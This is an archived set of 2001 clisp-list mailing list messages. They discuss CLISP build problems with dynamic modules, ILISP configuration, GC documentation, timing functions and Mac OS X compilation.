> On fredag, juni 15, 2001, at 06:45 , Sam Steingold wrote:
> 
> >
> > I am not sure if it answers your question, but STREAM-ELEMENT-TYPE is
> > setf-able in CLISP, see <http://clisp.cons.org/impnotes.html>.
> 
> Yes, possibly. The *terminal-io* stream seems to be the standard in/out,
> but for this
> particular stream i get:
> *** - (SETF STREAM-ELEMENT-TYPE) on #<TERMINAL-STREAM> is illegal

this is because you are using a terminal.
if you redirect i/o of your clisp process, you would be able to SETF
STREAM-ELEMENT-TYPE.

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> * In message <OFE4D80B93.EEBF6F24-ON88256A71.005E79BC@aero.org>
> * On the subject of "[clisp-list] Q: Using (ext:shell) on WinNT?"
> * Sent on Wed, 20 Jun 2001 10:37:29 -0700
> * Honorable Jeffrey.P.Lankford@aero.org writes:
>
>      I am a clisp 2.26 newbie.
welcome!

> I am VERY impressed with its compliance with CLtL-2.
actually we "purport to conform" to ANSI CL spec, which differs from
CLtL2.

> However, (ext:shell "graftabl") produces a file-not-found error; I
> would have expected that DOS command extension rules (.EXE, .COM,
> .BAT) to be obeyed on a Win32 implmentation, but they are not.
> Why not?

Ask Mr. Gates. :-(

> Is there a way to get this to work?
dunno.

> Likewise, (ext:shell "set") also produces a file-not-found error; in
> this case "set" is not a file, but a DOS CMD shell built-in. How do i
> execute CMS shell built-in commands?
why do you want to?!

> I prefer to use Cygwin bash shell as my command interpretter.
set COMSPEC d:\cygwin\bin\bash.exe

> Actually, i would prefer to set a lisp special variable, say (setq
> ext:*shell" #P"D:\\cygwin\bin\bash.exe"), and be able to switch
> command interpretters under program control, but (describe
> ext:*shell*) didn't find that symbol-name.  I realize this is an
> obscure, specialized question, but all advice is appreciated.

this is not supported.

maybe you can tell us what you are trying to accomplish?

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Having not looked at impnotes for some time, I'm generally impressed
with all the progress.  I was interested to see a new section on GC
and now that I've read it I have some questions.  Perhaps the answers
could eventually find their way into later versions of impnotes.

I know, this is the thanks you get for writing documentation.  And
perhaps I should be reading the code in order to find out, and when I
do I should, of course, write the documentation so people can complain
to me!  Well, if anyone who already knows the answers can explain them
to me (and the list) I'll be happy to try to organize them into new
documentation that can be added to impnotes.

================

A small detail - on the page based memory models it's not clear how gc
(or even allocation) works with objects bigger than a page.  I assume
that a multipage array is allocated in consecutive virtual memory
addresses.  If the first such page contains an object that is gc'd
then we end up moving the whole array?  Or perhaps multipage objects
always start on a page boundary?

SPVW_PURE_BLOCKS lists as an advantage "No 16 MB total size limit". 
I don't understand what this has to do with such a limit, i.e., why
do the others have a limit?  By total size I guess this means the
lisp heap?

The next section, with title "The following combinations of memory
model and mmap tricks are possible:" doesn't make sense to me either.
Is generational gc really a mmap trick?  I'd like to understand better
how the generational gc works in each case.  Also I'd like at least
a brief explanation of the different types of mmap.  And finally,
how can you tell for the clisp you're running which memory model is
in use, which type of mmap you're using, whether you're using
generational gc, etc.
Also the two tables are distingushed by "TYPECODES" which are not
mentioned anywhere else.  Is this the same as the tags above?
I guess not, since everything is supposed to have tags.  So what does
not have type codes?  Is this a property of a clisp version or a
build?  How can you tell for the clisp you're running which case
applies? 



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Sam Steingold writes:
 > >  > step back - whenever you build a working lisp --with-modules=regexp, you
 > >  > have used dynamic modules.  they do work.
 > > Does this mean that if I configure --with-modules=regexp then I get no
 > > more advantage from --with-dynamic-modules ?
 > --with-modules=regexp wouldn't work --without-modules=regexp.
sorry but this is making no sense to me

 > > I thought that --with-modules=regexp meant to compile in regexp, which
 > > is what I'd call a static module.
 > nope: --with-modules=regexp added regexp to the "full" image (invoked
 > with `clisp -K full`), but the default "base" image does not get
 > regexp.
Ok, so you're saying that we create two images, base and full.
Full has regexp built in.
I had imagined that dynamic modules meant that after you start lisp
you get to "load" a module in the form of a .so or .dll file.
If that's not what it is then what is it?

 > > In the last version I tried:
 > > 2000-03-31  Bruno Haible  <haible@clisp.cons.org> 
 > > 
 > > which corresponds pretty well to the thing I was checking:
 > >  CVS/Tag:
 > > D2000.04.01.08.00.00 
 > 
 > and you are getting a crash with _this_?!
yes, when configure with dynamic modules

 > are you sure this not something with your machine? disk? ram? cpu?
 > you are using Linux - you probably have not rebooted for ages (writhing
 > with envy :-).
Well, actually this machine hasn't been up that long.  21 days.
The real proof to the contrary is that when I leave out 
--with-dynamic-modules (even though I include regexp) I have NO
problems.

 > Maybe you should consider upgrading your kernel?

That would be a total cop-out.  I really doubt it would matter.  (I
sure hope not.)  And even if it did, then you'd be telling everyone
with the older kernel that they have to upgrade.  This is the kernel I
got from installing redhat 7, so I bet there are lots of people out
there using it.

BTW, here are the commands I executed, just so you can check.


 [root@host1 bug]# cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co -D 2000-07-01 clisp 
 [root@host1 bug]# cd clisp 
 [root@host1 clisp]# cat CVS/Tag 
=>
D2000.07.01.07.00.00
 [root@host1 clisp]# ./configure --with-dynamic-modules --build build 
=> ...
;; Loading of file /root/clisp/bug/clisp/build/dutch.lisp is finished. 
;; Loading file /root/clisp/bug/clisp/build/config.lisp 
*** - handle_fault error2 ! address = 0x2034A000 not in [0x2025B000,0x2031BBC8) ! 
SIGSEGV cannot be cured. Fault address = 0x2034A000. 
make: *** [interpreted.mem] Segmentation fault (core dumped) 
 [root@host1 clisp]# cd .. 
 [root@host1 bug]# rm -rf clisp/ 
 [root@host1 bug]# cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co -D 2000-04-01 clisp 
=> [just to make sure you think this looks right]
cvs server: Updating clisp 
U clisp/.cvsignore 
U clisp/ANNOUNCE 
U clisp/COPYRIGHT 
...
 [root@host1 bug]# cd clisp 
 [root@host1 clisp]# cat CVS/Tag 
=>
D2000.04.01.08.00.00
 [root@host1 clisp]# ./configure --with-dynamic-modules --build build 
=> ...
;; Loading of file /root/clisp/bug/clisp/build/reploop.lisp is finished. 
;; Loading file /root/clisp/bug/clisp/build/dribble.lisp 
*** - handle_fault error2 ! address = 0x20357000 not in [0x2025A000,0x202EEEE0) ! 
SIGSEGV cannot be cured. Fault address = 0x20357000. 
make: *** [halfcompiled.mem] Segmentation fault (core dumped) 



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> * In message <15154.17881.38692.434596@isis.compsvcs.com>
> * On the subject of "[clisp-list] Re: clisp build error"
> * Sent on Thu, 21 Jun 2001 12:07:04 -0700 (PDT)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
>
> Sam Steingold writes:
>  > >  > step back - whenever you build a working lisp --with-modules=regexp, you
>  > >  > have used dynamic modules.  they do work.
>  > > Does this mean that if I configure --with-modules=regexp then I get no
>  > > more advantage from --with-dynamic-modules ?
>  > --with-modules=regexp wouldn't work --without-modules=regexp.
> sorry but this is making no sense to me

oops - should have been
"--with-modules=regexp wouldn't work --without-dynamic-modules"

>  > > I thought that --with-modules=regexp meant to compile in regexp, which
>  > > is what I'd call a static module.
>  > nope: --with-modules=regexp added regexp to the "full" image (invoked
>  > with `clisp -K full`), but the default "base" image does not get
>  > regexp.
> Ok, so you're saying that we create two images, base and full.
> Full has regexp built in.
> I had imagined that dynamic modules meant that after you start lisp
> you get to "load" a module in the form of a .so or .dll file.
> If that's not what it is then what is it?

nope :-)  "dynamic modules" allow adding FFI modules (like the ones in
the modules directory) to an existing CLISP image, without recompiling
CLISP.

>  > > In the last version I tried:
>  > > 2000-03-31  Bruno Haible  <haible@clisp.cons.org> 
>  > > 
>  > > which corresponds pretty well to the thing I was checking:
>  > >  CVS/Tag:
>  > > D2000.04.01.08.00.00 
>  > 
>  > and you are getting a crash with _this_?!
> yes, when configure with dynamic modules

what about
$ ./configure --with-modules=regexp 


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Sam Steingold writes:
 > > I had imagined that dynamic modules meant that after you start lisp
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 > > If that's not what it is then what is it?
 > 
 > nope :-)  "dynamic modules" allow adding FFI modules (like the ones in
 > the modules directory) to an existing CLISP image, without recompiling
 > CLISP.
I see I've been wasting my time even more than I thought.

 > what about
 > $ ./configure --with-modules=regexp 
 [root@host1 clisp]# cd build 
 [root@host1 build]# make distclean 
 [root@host1 build]# cd .. 
 [root@host1 clisp]# ./configure --with-modules=regexp --build build 
 ...
 test '!' -s minitests.output.i686-pc-linuxlibc6 
 makemake: modules=regexp: invalid package name 

ahem  - let's try
 ./configure --with-module=regexp --build build 
 ...
 Test passed. 
 make[1]: Leaving directory `/root/clisp/bug/clisp/build/suite' 


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> * In message <15154.32649.630413.248505@isis.compsvcs.com>
> * On the subject of "Re: [clisp-list] Re: clisp build error"
> * Sent on Thu, 21 Jun 2001 16:13:13 -0700 (PDT)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
>
>  > nope :-)  "dynamic modules" allow adding FFI modules (like the ones in
>  > the modules directory) to an existing CLISP image, without recompiling
>  > CLISP.
> I see I've been wasting my time even more than I thought.
> 
>  > what about
>  > $ ./configure --with-modules=regexp 
>  makemake: modules=regexp: invalid package name 
yes - I always make this mistake!

>  ./configure --with-module=regexp --build build 
>  ...
>  Test passed. 

I presume the problem does not exist anymore.
good.

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Sam Steingold writes:
 > >  > what about
 > >  > $ ./configure --with-modules=regexp 
 > >  ./configure --with-module=regexp --build build 
 > >  ...
 > >  Test passed. 

 > I presume the problem does not exist anymore.
Nice try, but NO!

starting from Test Passed above:
 [root@host1 clisp]# cd build 
 [root@host1 build]# make distclean 
 [root@host1 build]# cd .. 
 [root@host1 clisp]# ./configure --with-dynamic-modules --build build 
=> ...
;; Loading file /root/clisp/bug/clisp/build/disassem.lisp ... 
;; Loading of file /root/clisp/bug/clisp/build/disassem.lisp is finished. 
*** - handle_fault error2 ! address = 0x202EE000 not in [0x2025A000,0x2029C060) ! 
SIGSEGV cannot be cured. Fault address = 0x202EE000. 
make: *** [halfcompiled.mem] Segmentation fault (core dumped) 



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I am still struggling to get CLISP to run as a subprocess under ILISP.
Here are the parameters and the situation. Suggestions are welcome.

Platform: x86 running Windows 2000 (native i.e.: no X-lib etc.)

CLISP by itself runs OK when launched from a batch file.

ILISP compiles OK.
	(I still don't know what value to initialize ilisp-init-binary-extension
and ilisp-init-binary-command to but I am not there yet)

The problem arises when I execute M-x clisp-hs.
	I get different results depending on the value of the variable
clisp-hs-program, but none of the resulting situations work:

1) with the default clisp-hs-program -> "lisp -I"
	I get: a) warning: no initialisation file specified, use -M "file-name"
		 b) warning: no installation directory specified, use -B "path-name"
		 c) EVAL: the function COMPILE-FILE-PATHNAME is undefined
			(this is a Common Lisp fn. That suggests to me that the CLISP
initialisation failed.)

2) if I specify full path names with the -M and -B options like
	clisp-hs-program -> "lisp -I -M \"D:\\CLISP\\lispinit.mem\" -B
\"D:\\CLISP\\\""
	I get an "invalid inferior lisp program command line".

What am I missing?

Thanks!

Jean



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> * In message <BAEEJLOAGNOCOAIGPLGAEEJPCBAA.jgascon@pacbell.net>
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> * Sent on Thu, 21 Jun 2001 23:50:23 -0700
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>
> I am still struggling to get CLISP to run as a subprocess under ILISP.

I do not use ILISP, so I hope someone will give a better answer.

> 1) with the default clisp-hs-program -> "lisp -I"
> 	I get: a) warning: no initialisation file specified, use -M "file-name"
> 		 b) warning: no installation directory specified, use -B "path-name"
> 		 c) EVAL: the function COMPILE-FILE-PATHNAME is undefined
> 			(this is a Common Lisp fn. That suggests to me that the CLISP
> initialisation failed.)

correct: -B and -M are required for normal operation.
COMPILE-FILE-PATHNAME (and the compiler in general) is not available
without -M.

> 2) if I specify full path names with the -M and -B options like
> 	clisp-hs-program -> "lisp -I -M \"D:\\CLISP\\lispinit.mem\" -B
> \"D:\\CLISP\\\""
> 	I get an "invalid inferior lisp program command line".

I cannot navigate in so many backslashes.
here is what I use:
inferior-lisp-program
 ==>
"d:/gnu/clisp/lisp.exe -B d:/gnu/clisp -M d:/gnu/clisp/lispinit.mem -I"


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On Thu, 21 Jun 2001 23:50:23 -0700, Jean Gascon <jgascon@pacbell.net>
wrote:

> I am still struggling to get CLISP to run as a subprocess under ILISP.

I suggest that you also post to the ILISP mailing list.


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> * In message <15154.40908.64733.436750@isis.compsvcs.com>
> * On the subject of "Re: [clisp-list] Re: clisp build error"
> * Sent on Thu, 21 Jun 2001 18:30:52 -0700 (PDT)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
>
>  [root@host1 clisp]# ./configure --with-dynamic-modules --build build 
> => ...
> ;; Loading file /root/clisp/bug/clisp/build/disassem.lisp ... 
> ;; Loading of file /root/clisp/bug/clisp/build/disassem.lisp is finished. 
> *** - handle_fault error2 ! address = 0x202EE000 not in [0x2025A000,0x2029C060) ! 
> SIGSEGV cannot be cured. Fault address = 0x202EE000. 
> make: *** [halfcompiled.mem] Segmentation fault (core dumped) 

okay.  you were right all along.
--with-dynamic-modules does load modules dynamically, and is _not_
required for --with-module=regexp.  sorry.

Now, could you please try to debug this?
you have the core, and
$ gdb -c core
(gdb) where
will probably be totally useless.
maybe you could do
$ makemake debug > Makefile
and get the core and see what is going on there?
Thanks!


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Sam Steingold writes:
 > > SIGSEGV cannot be cured. Fault address = 0x202EE000. 
 > > make: *** [halfcompiled.mem] Segmentation fault (core dumped) 
 > 
 > okay.  you were right all along.
 > --with-dynamic-modules does load modules dynamically, and is _not_
 > required for --with-module=regexp.  sorry.
 > 
 > Now, could you please try to debug this?
 > you have the core, and
 > $ gdb -c core
 > (gdb) where
 > will probably be totally useless.
correct - it says no stack
 > maybe you could do
 > $ makemake debug > Makefile
 > and get the core and see what is going on there?
I guess you really mean
 ./makemake  --with-dynamic-modules debug > Makefile 
 make
(worked)
 make test
(worked)
 make testsuite
=> ...
(HASH-TABLE-P (MAKE-HASH-TABLE :TEST #'EQL :REHASH-SIZE 1. 
*** - handle_fault error2 ! address = 0x20368000 not in [0x2025A000,0x2030C1E0) ! 
SIGSEGV cannot be cured. Fault address = 0x20368000. 
make[1]: *** [tests] Segmentation fault (core dumped) 
make[1]: Leaving directory `/root/clisp/bug/clisp/build/suite' 
make: *** [testsuite] Error 2 

So now I guess you want me to do this?

[root@host1 build]# gdb -c core 
GNU gdb 5.0 
Copyright 2000 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" for details. 
This GDB was configured as "i386-redhat-linux". 
Core was generated by `./lisp.run -m 750KW -B . -N locale -Efile ISO-8859-1 -norc\
 -x (load "init.lisp"'. 
Program terminated with signal 11, Segmentation fault. 
#0  0x8079ac8 in ?? () 
(gdb) where 
#0  0x8079ac8 in ?? () 
Cannot access memory at address 0x202edffe 
(gdb)  


I hope you don't think I know how to use gdb.
Tell me what to do next.
Maybe you'd like me to send you the core file?


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> * In message <15155.43466.584146.296681@isis.compsvcs.com>
> * On the subject of "Re: [clisp-list] Re: clisp build error"
> * Sent on Fri, 22 Jun 2001 13:25:46 -0700 (PDT)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
>
> I guess you really mean
>  ./makemake  --with-dynamic-modules debug > Makefile 
yep.
please make sure that -fomit-frame-pointer is not in CFLAGS.
if it is not there already, please try adding '-g' there.

> [root@host1 build]# gdb -c core

$ gdb -c core lisp.run
(not that it should make a difference)...

> Program terminated with signal 11, Segmentation fault. 
> #0  0x8079ac8 in ?? () 
> (gdb) where 
> #0  0x8079ac8 in ?? () 
> Cannot access memory at address 0x202edffe 

too bad...

> I hope you don't think I know how to use gdb.
I hope _you_ don't think _I_ know how to use gdb, or program in C or
debug lisp.run &c... :-(

> Tell me what to do next.
> Maybe you'd like me to send you the core file?

can you upload it somewhere?
(do _not_ e-mail it to me or to clisp-list &c)

[why are you running all this as root?!]

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Sam Steingold writes:
 > > * In message <15155.43466.584146.296681@isis.compsvcs.com>
 > > * On the subject of "Re: [clisp-list] Re: clisp build error"
 > > * Sent on Fri, 22 Jun 2001 13:25:46 -0700 (PDT)
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 > > I guess you really mean
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 > yep.
 > please make sure that -fomit-frame-pointer is not in CFLAGS.
 > if it is not there already, please try adding '-g' there.
I do see lines with omit-frame-pointer but it's not in Makefile.
I don't know whether to worry.

 > > I hope you don't think I know how to use gdb.
 > I hope _you_ don't think _I_ know how to use gdb, or program in C or
 > debug lisp.run &c... :-(
In that case what are you going to do with core?

 > can you upload it somewhere?
 > (do _not_ e-mail it to me or to clisp-list &c)
http://ap5.com/~donc/core - 1.8MB



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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED381@pens0394.cnet.navy.Mil>
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> Does CLISP contains a method to measure execution time?

ANSI CL specifies a macro TIME
See
http://clisp.cons.org/impnotes.html#time
http://www.lisp.org/HyperSpec/Body/mac_time.html

See also
http://clisp.cons.org/impnotes.html#space
http://clisp.cons.org/impnotes.html#room
http://www.lisp.org/HyperSpec/Body/fun_room.html

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> * In message <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es>
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> I just tried my CLOS-application in the new release and it conses a lot
> although I wouldn't cons at all in Clisp 2000-03-06.

Bruno just committed a fix for this to the CVS tree.
Either wait for the next release or get the latest version from CVS.
(caveat &c).

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Hello!

I would like to build a RPM of clisp with some homemade modules.
I don't really know how to do it, I have just inherited the files. The
guy who developed the module never really bother of running the
installation process until its end. He never used make install. Now I am
confronted with problems with make install: it systematically recreates
a clisp image WITHOUT the modules I added.

What is the procedure to follow to build SIMPLY clisp with modules,
using the good old:
./configure
make
make install

What must I do to make it work?


		Daniel
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> * In message <3B3853B8.91A8F567@foi.se>
> * On the subject of "[clisp-list] Clisp, modules, make install and rpm"
> * Sent on Tue, 26 Jun 2001 11:19:52 +0200
> * Honorable Daniel Tourde <ted@foi.se> writes:
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> What is the procedure to follow to build SIMPLY clisp with modules,

you cannot.
CLISP build process builds two "linking sets" - "base" (just the base
CLISP, no modules) and "full" (all modules).

$ ./configure --with-module=regexp --build build
$ cd build; make install

will create 2 subdirectories in /usr/local/lib/clisp/ -- base and full.
clisp (installed in /usr/local/bin) will run the image specified by the
-K option.
see http://clisp.cons.org/impnotes.html#modules 
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Greetings. I've a LISA user that has reported trouble building the CLOCC =
PORT module using CLISP 2.26. He has built CLISP from source on RedHat =
7.0, and the test suite indicates no problems. I've not seen this =
trouble, but my CLISP is at version 2.25.1 and my Linux installation is =
inaccessible at the moment so I can't build 2.26 and check.

It looks like the trouble is in function GC in file ext.lisp; the symbol =
LISP:GC is missing. I've included his problem report; please contact Art =
Nuzzo (a.nuzzo@motorola.com) for additional questions. Also, please CC =
me on replies. Thanks much.

---- Original report -----

First I downloaded and complied version 2.26 from the source.  Make =
check said all tests passed.=20

Next I downloaded the latest version of LISA from Sourceforge. When I =
tried to compile LISA (Clisp was started with the -ansi option) I got =
the following error:


[1]> (load "misc/defsystem.lisp")
;; Loading file misc/defsystem.lisp ...
;; Loading of file misc/defsystem.lisp is finished.
T
[2]> (load "defsys.lisp")
;; Loading file defsys.lisp ...
;;  Loading file #S(LOGICAL-PATHNAME :HOST LISA :DEVICE NIL :DIRECTORY =
(ABSOLUTE CLOCC PORT) :NAME PORT :TYPE SYSTEM :VERSION NIL) ...
;;  Loading of file #S(LOGICAL-PATHNAME :HOST LISA :DEVICE NIL =
:DIRECTORY (ABSOLUTE CLOCC PORT) :NAME PORT :TYPE SYSTEM :VERSION NIL) =
is finished.
;; Loading of file defsys.lisp is finished.
T
[3]> (mk:compile-system :lisa)
PORT/ALL (6 files) totals 58,980 bytes (58 kB)
PORT/NEW-SOURCE-AND-DEPENDENTS (6 files) totals 58,980 bytes (58 kB)
Compiling file =
/v1/usr/local/src/lisa-0.9.2/contrib/clocc/port/./ext.lisp ...
*** - READ from #<BUFFERED FILE-STREAM CHARACTER =
#P"/v1/usr/local/src/lisa-0.9.2/contrib/clocc/port/./ext.lisp" @94>: =
#<PACKAGE COMMON-LISP> has no external symbol with name "GC"
1. Break PORT[4]>=20

Regards,

-----------------------------------------------------------------
David E. Young
de.young@computer.org
http://lisa.sourceforge.net

"But all the world understands my language."
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<DIV><FONT face=3DArial size=3D2>Greetings. I've a LISA user that has =
reported=20
trouble building the CLOCC PORT module using CLISP 2.26. He has built =
CLISP from=20
source on RedHat 7.0, and the test suite indicates no problems. I've not =
seen=20
this trouble, but my CLISP is at version 2.25.1 and my Linux =
installation is=20
inaccessible at the moment so I can't build 2.26 and check.</FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>It looks like the trouble is in =
function GC in file=20
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report;=20
please contact Art Nuzzo (<A=20
href=3D"mailto:a.nuzzo@motorola.com">a.nuzzo@motorola.com</A>) for =
additional=20
questions. Also, please CC me on replies. Thanks much.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>---- Original report -----</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman" =
size=3D3>First I=20
downloaded and complied version 2.26 from the source.&nbsp; Make check =
said all=20
tests passed. <BR><BR>Next I downloaded the latest version of LISA from=20
Sourceforge. When I tried to compile LISA (Clisp was started with the =
-ansi=20
option) I got the following error:<BR><BR><BR>[1]&gt; (load=20
"misc/defsystem.lisp")<BR>;; Loading file misc/defsystem.lisp ...<BR>;; =
Loading=20
of file misc/defsystem.lisp is finished.<BR>T<BR>[2]&gt; (load=20
"defsys.lisp")<BR>;; Loading file defsys.lisp ...<BR>;;&nbsp; Loading =
file=20
#S(LOGICAL-PATHNAME :HOST LISA :DEVICE NIL :DIRECTORY (ABSOLUTE CLOCC =
PORT)=20
:NAME PORT :TYPE SYSTEM :VERSION NIL) ...<BR>;;&nbsp; Loading of file=20
#S(LOGICAL-PATHNAME :HOST LISA :DEVICE NIL :DIRECTORY (ABSOLUTE CLOCC =
PORT)=20
:NAME PORT :TYPE SYSTEM :VERSION NIL) is finished.<BR>;; Loading of file =

defsys.lisp is finished.<BR>T<BR>[3]&gt; (mk:compile-system =
:lisa)<BR>PORT/ALL=20
(6 files) totals 58,980 bytes (58 kB)<BR>PORT/NEW-SOURCE-AND-DEPENDENTS =
(6=20
files) totals 58,980 bytes (58 kB)<BR>Compiling file=20
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Break=20
PORT[4]&gt; </FONT><BR><FONT face=3D"Times New Roman"=20
size=3D3><BR>Regards,</FONT></FONT></DIV>
<DIV>&nbsp;</DIV>
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> * In message <00e201c0fe5e$12bd9850$6501a8c0@tinian>
> * On the subject of "[clisp-list] Fw: [Lisa-users] Trouble building PORT with CLISP 2.26"
> * Sent on Tue, 26 Jun 2001 12:35:54 -0400
> * Honorable "David E. Young" <de.young@computer.org> writes:
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> Greetings. I've a LISA user that has reported trouble building the
> CLOCC PORT module using CLISP 2.26.

CLOCC/PORT builds just fine with CLISP 2.26, but the obsolete version
distributed with LISA does not.
Moreover, I warned you (_before_ CLISP 2.26 was released) about this
upcoming incompatibility, and asked you to upgrade your LISA/PORT
distribution and try the pre-release CLISP version.

-- 
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Thank You

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> * In message
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> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil>
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>
> Does CLISP contains a method to measure execution time?

ANSI CL specifies a macro TIME
See
http://clisp.cons.org/impnotes.html#time
http://www.lisp.org/HyperSpec/Body/mac_time.html

See also
http://clisp.cons.org/impnotes.html#space
http://clisp.cons.org/impnotes.html#room
http://www.lisp.org/HyperSpec/Body/fun_room.html

-- 
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<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Sam Steingold [<A =
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<BR><FONT SIZE=3D2>Sent: Monday, June 25, 2001 9:47 AM</FONT>
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<P><FONT SIZE=3D2>ANSI CL specifies a macro TIME</FONT>
<BR><FONT SIZE=3D2>See</FONT>
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TARGET=3D"_blank">http://clisp.cons.org/impnotes.html#time</A></FONT>
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TARGET=3D"_blank">http://www.lisp.org/HyperSpec/Body/mac_time.html</A></=
FONT>
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<P><FONT SIZE=3D2>See also</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://clisp.cons.org/impnotes.html#space" =
TARGET=3D"_blank">http://clisp.cons.org/impnotes.html#space</A></FONT>
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</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Sam Steingold (<A =
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TARGET=3D"_blank">http://www.podval.org/~sds</A>)</FONT>
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&lt;<A HREF=3D"http://www.memri.org/" =
TARGET=3D"_blank">http://www.memri.org/</A>&gt;</FONT>
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----- Original Message -----
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> CLOCC/PORT builds just fine with CLISP 2.26, but the obsolete version
> distributed with LISA does not...

Then the solution is obvious.

> Moreover, I warned you (_before_ CLISP 2.26 was released) about this
> upcoming incompatibility, and asked you to upgrade your LISA/PORT
> distribution and try the pre-release CLISP version.

Actually, if memory serves you asked me to try the pre-release version
without clearly stating there would be an upcoming incompatibility. Or
perhaps you did and it was muddled by the surrounding context; we were
working on another CLISP issue at the time.

In any event, since I haven't a copy of your warning I can't make an
iron-clad case. No matter; appreciate your help.

Regards,

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According to
http://www.lisp.org/HyperSpec/Body/fun_get-internal-run-time.html

Description:

Returns as an integer the current run time in internal time units. The
precise meaning of this quantity is implementation-defined; it may measure
real time, run time, CPU cycles, or some other quantity. The intent is that
the difference between the values of two calls to this function be the
amount of time between the two calls during which computational effort was
expended on behalf of the executing program. 

How can I determine "what" GET-INTERNAL-RUN-TIME measures?



Thanks in advance

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 > How can I determine "what" GET-INTERNAL-RUN-TIME measures?
You won't like the answer.
You have to first look at the clisp source to see what system call it
makes for your particular system, then read the system doc to see what
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You are correct!!! 
I don't like the answer... 
I'll just add the task to the queue.


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 > How can I determine "what" GET-INTERNAL-RUN-TIME measures?
You won't like the answer.
You have to first look at the clisp source to see what system call it
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<P><FONT SIZE=2>You are correct!!! </FONT>
<BR><FONT SIZE=2>I don't like the answer... </FONT>
<BR><FONT SIZE=2>I'll just add the task to the queue.</FONT>
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<P><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: don-sourceforge@isis.compsvcs.com</FONT>
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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED393@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] GET-INTERNAL-RUN-TIME"
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> How can I determine "what" GET-INTERNAL-RUN-TIME measures?

RTFM: http://clisp.cons.org/impnotes.html#d39e18310

GET-INTERNAL-RUN-TIME returns the amount of run time consumed by the
current CLISP process since its startup.



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bash has a variable, command_oriented_history, which controls whether
$ for x in *
> do echo $x
> done
$

is saved in history as one line or 3.
CLISP always saved 3 lines, which was bad.
now it will save one line.
the question is: do we need a similar backwards-compatibility option?
IOW, are there people around who _like_ the current behavior better than
the proposed one?
speak up or you will be stuck with "command_oriented_history" in the
next release.
[bash replaces newlines with "; " -- nothing like this will be done]

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On Wed, Jun 27, 2001 at 03:23:12PM -0400, Sam Steingold wrote:
> bash has a variable, command_oriented_history, which controls whether
 ...<3 bash lines cut>
> is saved in history as one line or 3.
> CLISP always saved 3 lines, which was bad.
> now it will save one line.
> the question is: do we need a similar backwards-compatibility option?

It's a _big_ improvement to have the history saved as 1 line. Thanks.
I personally don't need the backwards-compatibility option.  Does
paren matching work after pressing return?

Peter


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Hi! All,

Iam a student doing my MCA in India and 'am new to Lisp and CLISP.
I need help on using FFI on Win32. Can the module building procedure be
made more simpler ?. I intend to write a module that wraps SDL 
<http://www.libsdl.org> .

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how about comments?

"^\s*;+(.*)" => ? 
  "#|\1|#" or just ""

Sam Steingold schrieb:
> bash has a variable, command_oriented_history, which controls whether
> $ for x in *
> > do echo $x
> > done
> $
> 
> is saved in history as one line or 3.
> CLISP always saved 3 lines, which was bad.
> now it will save one line.
> the question is: do we need a similar backwards-compatibility option?
> IOW, are there people around who _like_ the current behavior better than
> the proposed one?
> speak up or you will be stuck with "command_oriented_history" in the
> next release.
> [bash replaces newlines with "; " -- nothing like this will be done]
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Hi clispers,

I'm trying to compile clisp 2.26 on a mac with Mac OS X 10.0.4 installed (cc version 2.95.2), but I'm getting some
errors. Here is a description of the steps I did and the errors I'm getting:

1- setenv CONFIG_SHELL "/bin/bash"
2- $CONFIG_SHELL ./configure with-cc

After that I'm having the following error (only the last lines):

cc -O -traditional-cpp -I. -I../../../libiconv/src -I../include -I../../../libiconv/src/../include -I../lib
../../../libiconv/src/iconv.c ../lib/.libs/libiconv.a -o iconv
cd man && make all
make[1]: Nothing to be done for `all'.
if test -d tests; then cd tests && make all; fi
make[1]: *** No rule to make target `all'.  Stop.
make: *** [all] Error 2

Even with this error I have tried to continue, then I did (after cd with-cc/):

3- ./makemake > Makefile
4- make config.lisp

This command gave me the following answer:

cp -p ../src/cfgunix.lisp config.lisp
echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp

I don't know if it is correct. I couldn't do "ulimit -S -s 8192" because this command doesn't exist in my system.
There is a "unlimit" command but the usage is different (and there is no man entry for that!!). I tried to follow
without the ulimit command: I removed "-O", "-O2" from the CC and CFLAGSand did:

5- make

The error here is:

/comment5 noreadline.d | ./ansidecl | ./varbrace > noreadline.c
cd gettext/intl && make -r CC='cc -traditional-cpp' CFLAGS='-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -fomit-frame-pointer -Wno-sign-compare -DUNICODE' RANLIB='ranlib'
make[1]: *** No targets specified and no makefile found.  Stop.
make: *** [gettext/intl/libintl.a] Error 2

I don't know what else I can do. I'm a UNIX newbie and have very little knowledge of C. Can anybody help me or
point some docs where I can look for an answer?? I apologize for the long post!
 
Best regards,

Ernesto Trajano de Lima	
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Hello,

is CLISP compiling supported under OS X ?

clisp-2.26-bug1-pathname.diff
clisp-2.26-bug2-dirkey.diff
clisp-2.26-bug3-regexp.diff
clisp-2.26-bug4-screen.diff
clisp-2.26-bug5-no-ffi.diff
clisp-2.26-bug6-mit-clx.diff
clisp-2.26.tar.gz

i got the previous files and patches, applied them and made ./configure

